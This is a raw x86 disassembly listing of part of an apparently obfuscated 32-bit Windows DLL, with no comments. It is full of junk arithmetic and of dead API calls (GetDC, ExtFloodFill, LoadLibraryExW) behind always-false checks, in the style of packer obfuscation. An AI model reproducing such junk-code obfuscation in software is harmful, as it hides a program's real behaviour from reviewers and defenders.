mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffe9
jg 0x10030e3d
movdqa xmm0, xmmword [0x10007c10]
lea eax, [ebp - 0x12f0]
push eax
lea eax, [ebp - 0x1300]
push eax
lea ecx, [ebp - 0x1510]
movdqu xmmword [ebp - 0x1300], xmm0
call fcn.10015c83
lea ecx, [ebp - 0x28c]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x554]
push dword [esi]
call fcn.10015c32
push 3
pop esi
mov dword [ebp - 4], 0x17
lea ecx, [ebp - 0xcb0]
mov dword [ebp - 0x10], 0x5c7a00f4
push esi
call fcn.10015bd6
xor eax, eax
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10030d2f
push dword [ebp - 0x14]
lea ecx, [ebp - 0xcb0]
call fcn.10015c74
or ecx, 0xffffffff
mov dword [eax], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10030d10
xor eax, eax
jmp 0x10030d32
or ecx, 0xffffffff
mov dword [ebp - 0x10], eax
jmp 0x10030e09
mov dword [ebp - 0x24], 0xbf8b243e
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x554]
push dword [ebp - 0x10]
call fcn.10015c74
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x10030dbb
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x554]
push dword [ebp - 0x10]
call fcn.10015c74
xor ebx, ebx
lea ecx, [ebp - 0x554]
push ebx
call fcn.10015c74
cmp dword [eax], ebx
je 0x10030d95
push dword [ebp - 0x10]
lea ecx, [ebp - 0x554]
call fcn.10015c74
cmp dword [eax], ebx
je 0x10030d95
inc ebx
xor eax, eax
mov esi, ebx
jmp 0x10030d9c
xor eax, eax
xor ebx, ebx
mov esi, eax
inc ebx
push eax
lea ecx, [ebp - 0xcb0]
call fcn.10015c74
xor ecx, ecx
cmp esi, 0x320f
push 3
sete cl
sub ecx, dword [ebp - 0x10]
mov dword [eax], ecx
pop esi
push dword [ebp - 0x10]
lea ecx, [ebp - 0x554]
call fcn.10015c74
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], 0x2628217c
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x10030e03
push 0x138
push eax
push 0x15c1
push 0xeab
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
inc dword [ebp - 0x10]
push 0xffffffffffffffff
pop ecx
cmp dword [ebp - 0x10], esi
jle 0x10030d3a
lea ecx, [ebp - 0xcb0]
call fcn.10015c58
or eax, 0xffffffff
lea ecx, [ebp - 0x554]
mov dword [ebp - 4], eax
call fcn.10015c58
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe9
jle 0x10030c9e
jmp 0x10030e40
push 3
pop esi
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x28]
cmp ecx, eax
push 2
setg dl
lea ecx, [ebp - 0xf44]
mov dword [ebp - 0x28], edx
or eax, 0xffffffff
mov dword [ebp - 0x14], 0xfffffff8
mov dword [ebp - 0x34], 0x99cfe04
mov dword [ebp - 0x34], 0x580849f8
mov dword [ebp - 0x34], 9
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0x938dd44a
mov dword [ebp - 0x34], eax
call fcn.10015bd6
xor eax, eax
mov dword [ebp - 4], 0x19
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x1124]
push ebx
call fcn.10015bd6
mov byte [ebp - 4], 0x1a
xor eax, eax
mov dword [ebp - 0x34], 0xf5aa
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x10030ed8
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xf44]
call fcn.10015c74
and dword [eax], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10030ebc
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030efd
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1124]
call fcn.10015c74
push 0xfffffffffffffffd
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030ee0
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030f1d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3e0], 0x6711db60
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030f05
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10030f2a
cmp dword [ebp - 0x14], eax
jne 0x10030f30
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x13
jle 0x10030f22
dec dword [ebp - 0x3e0]
lea ecx, [ebp - 0x1124]
call fcn.10015c58
or eax, 0xffffffff
lea ecx, [ebp - 0xf44]
mov dword [ebp - 4], eax
call fcn.10015c58
xor eax, eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xffffffef
push 0xfffffffffffffff6
pop edx
jg 0x10031548
jmp 0x10030f6b
mov dword [ebp - 0x38], 0xa0d72276
push 0xfffffffffffffff7
pop ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10030f9b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x470], 0x35568345
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030f83
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jl 0x10030fd1
mov eax, dword [ebp - 0x28]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x470]
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x470], ecx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setle dl
mov dword [ebp - 0x3c], edx
dec dword [ebp - 0x28]
jns 0x10030fa3
push 0xfffffffffffffff6
xor eax, eax
pop edx
mov dword [ebp - 0x14], 4
or ecx, 0xffffffff
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10031006
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3f0], 0x27439cb6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10030fed
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1003101c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x848], 0x33a9025b
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003100b
mov eax, dword [ebp - 0x40]
inc dword [ebp - 0x40]
mov eax, dword [ebp - 0x3ec]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x14], ebx
jne 0x10031049
xor eax, eax
cmp dword [ebp - 0x5c], eax
je 0x1003104b
mov eax, ebx
cmp eax, dword [ebp - 0x844]
je 0x1003105f
xor eax, eax
cmp dword [ebp - 0x3ec], eax
je 0x10031068
jmp 0x10031061
xor eax, eax
mov ecx, ebx
cmp dword [ebp - 0x2c], eax
jne 0x1003106a
mov ecx, eax
xor eax, eax
cmp ecx, edx
setl al
cmp eax, esi
sbb ecx, ecx
xor edx, edx
neg ecx
imul ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x3f0]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x844]
jg 0x100310a7
movdqa xmm0, xmmword [0x10007c50]
lea eax, [ebp - 0x1250]
push eax
lea eax, [ebp - 0x1260]
push eax
lea ecx, [ebp - 0x1558]
movdqu xmmword [ebp - 0x1260], xmm0
call fcn.10015c83
lea ecx, [ebp - 0x28b]
mov esi, eax
call fcn.10008c23
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xb78]
push dword [esi]
call fcn.10015c32
push ebx
lea ecx, [ebp - 0x56c]
mov dword [ebp - 4], 0x20
call fcn.10015bd6
mov byte [ebp - 4], 0x21
xor eax, eax
mov dword [ebp - 0x40], 0xa971
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x3c], 0xd1022782
mov dword [ebp - 0x34], 0x3cb5af9f
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x64], 0x481db3aa
push 0xfffffffffffffff6
pop ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x68], 0x5e948eca
mov dword [ebp - 0x6c], 0x2da61eb6
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1003160a
push dword [ebp - 0x10]
lea ecx, [ebp - 0x56c]
call fcn.10015c74
mov dword [eax], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100315f0
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10031629
push 0xfffffffffffffffd
pop ecx
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7d4], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10031615
xor eax, eax
dec dword [ebp - 0x24]
lea ecx, [ebp - 0x56c]
push eax
call fcn.10015c74
cmp dword [eax], 0
jne 0x10031700
xor eax, eax
cmp dword [ebp - 0x30], eax
jne 0x10031650
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
xor eax, eax
push eax
lea ecx, [ebp - 0x56c]
call fcn.10015c74
push 3
pop esi
push esi
lea ecx, [ebp - 0xb78]
call fcn.10015c74
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0xb78]
mov eax, dword [ebp - 0x30]
push ebx
call fcn.10015c74
mov ecx, dword [ebp - 0x5c]
cmp dword [eax], ecx
jg 0x100316a0
xor ebx, ebx
lea ecx, [ebp - 0x56c]
push ebx
call fcn.10015c74
cmp dword [eax], ebx
jne 0x1003169d
xor eax, eax
inc ebx
mov edx, eax
jmp 0x100316a2
xor ebx, ebx
inc ebx
mov edx, ebx
mov eax, dword [ebp - 0x64]
xor ecx, ecx
cmp edx, eax
sete cl
xor edx, edx
add ecx, dword [ebp - 0x30]
or eax, 0xffffffff
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
setg cl
xor edx, edx
cmp ecx, eax
setg dl
xor ecx, ecx
sub edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x68]
cmp edx, eax
setg cl
lea eax, [ecx + 0x7874d2d]
mov dword [ebp - 0x7d4], eax
test eax, eax
je 0x100316f0
mov eax, dword [ebp - 0x2c]
xor eax, eax
lea ecx, [ebp - 0x56c]
push eax
call fcn.10015c74
jmp 0x10031703
push 3
pop esi
mov eax, dword [ebp - 0x6c]
mov ecx, 0xfff7
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
sbb ecx, ecx
xor edx, edx
neg ecx
neg ecx
cmp ecx, eax
lea ecx, [ebp - 0x56c]
setg dl
sub edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x5c], edx
call fcn.10015c58
or eax, 0xffffffff
lea ecx, [ebp - 0xb78]
mov dword [ebp - 4], eax
call fcn.10015c58
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jg 0x1003247f
jmp 0x10031759
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x7d0]
push ebx
call fcn.10015bd6
mov dword [ebp - 4], 0x22
xor eax, eax
mov dword [ebp - 0x3c], 0x662db8e9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1003179e
push dword [ebp - 0x14]
lea ecx, [ebp - 0x7d0]
call fcn.10015c74
mov dword [eax], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10031780
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100317b6
push 0xb7e
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
xor eax, eax
push eax
lea ecx, [ebp - 0x7d0]
call fcn.10015c74
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0x7d0]
mov eax, dword [ebp - 0x38]
xor ebx, ebx
push ebx
call fcn.10015c74
push ebx
lea ecx, [ebp - 0x7d0]
call fcn.10015c74
mov edx, dword [ebp - 0x38]
mov esi, eax
mov ecx, dword [ebp - 0x38]
xor eax, eax
cmp edx, ecx
mov ecx, dword [ebp - 0x38]
setg al
xor edx, edx
cmp eax, ecx
lea ecx, [ebp - 0x7d0]
setl dl
xor eax, eax
cmp edx, dword [esi]
setle al
or esi, 0xffffffff
mov dword [ebp - 0x3c], eax
mov dword [ebp - 4], esi
call fcn.10015c58
mov dword [ebp - 0x2c], 0xa9d6
inc ebx
mov dword [ebp - 0x5c], 0x10afbd13
mov dword [ebp - 0x24], 0x78470ed9
push 6
pop eax
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x40], 0xdbaf
mov dword [ebp - 0x3c], 0xd76df3e2
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x10031858
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10031860
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x5c]
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
cmp eax, 0xd925
mov eax, 0xffff
setge cl
sub ecx, dword [ebp - 0x5c]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x34], eax
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x100318bd
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100318d5
xor ebx, ebx
lea ecx, [ebp - 0xd70]
inc ebx
or eax, 0xffffffff
mov dword [ebp - 0x190], ebx
mov dword [ebp - 0x18c], ebx
mov dword [ebp - 0x188], ebx
mov dword [ebp - 0x184], ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x38], 0xacc4b7c7
push esi
call fcn.10015bd6
xor eax, eax
mov dword [ebp - 4], 0x29
mov dword [ebp - 0x14], eax
jmp 0x100324df
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd70]
call fcn.10015c74
mov dword [eax], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100324c8
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x188]
mov eax, dword [ebp - 0x18c]
cmp eax, dword [ebp - 0x18c]
jg 0x10032504
mov eax, dword [ebp - 0x18c]
xor eax, eax
cmp dword [ebp - 0x18c], eax
je 0x10032513
cmp dword [ebp - 0x2c], eax
jne 0x10032518
cmp dword [ebp - 0x2c], eax
je 0x1003251a
mov eax, ebx
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18c]
cmp eax, 0x8b15
mov eax, dword [ebp - 0x18c]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setl dl
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
sub ecx, dword [ebp - 0x18c]
je 0x100325f6